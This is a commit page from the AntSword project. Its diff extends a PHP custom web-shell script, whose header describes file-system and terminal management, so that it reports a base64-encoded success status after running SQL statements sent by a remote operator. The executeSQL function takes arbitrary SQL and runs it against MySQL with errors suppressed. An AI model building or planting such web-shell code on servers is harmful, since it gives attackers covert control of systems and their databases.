Commit ef6c9d13 authored by Medicean's avatar Medicean

PHP Custom Script 执行 DML 语句结果回显

parent 96be5e7a
...@@ -24,6 +24,8 @@ ...@@ -24,6 +24,8 @@
* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 * 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
* *
* ChangeLog: * ChangeLog:
* Data: 2016/05/13 v1.1
* 1. 执行 DML 语句,显示执行状态
* *
* Date: 2016/04/06 v1.0 * Date: 2016/04/06 v1.0
* 1. 文件系统 和 terminal 管理 * 1. 文件系统 和 terminal 管理
...@@ -131,6 +133,9 @@ function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){ ...@@ -131,6 +133,9 @@ function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){
$encode = decode(EC($encode)); $encode = decode(EC($encode));
$conn = @mysqli_connect($host, $user, $password); $conn = @mysqli_connect($host, $user, $password);
$res = @mysqli_query($conn, $sql); $res = @mysqli_query($conn, $sql);
if (is_bool($res)) {
return "Status".$columnsep.$rowsep.($res?"VHJ1ZQ==":"RmFsc2U=").$columnsep.$rowsep;
}
$i=0; $i=0;
if ($needcoluname) { if ($needcoluname) {
while ($col=@mysqli_fetch_field($res)) { while ($col=@mysqli_fetch_field($res)) {
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment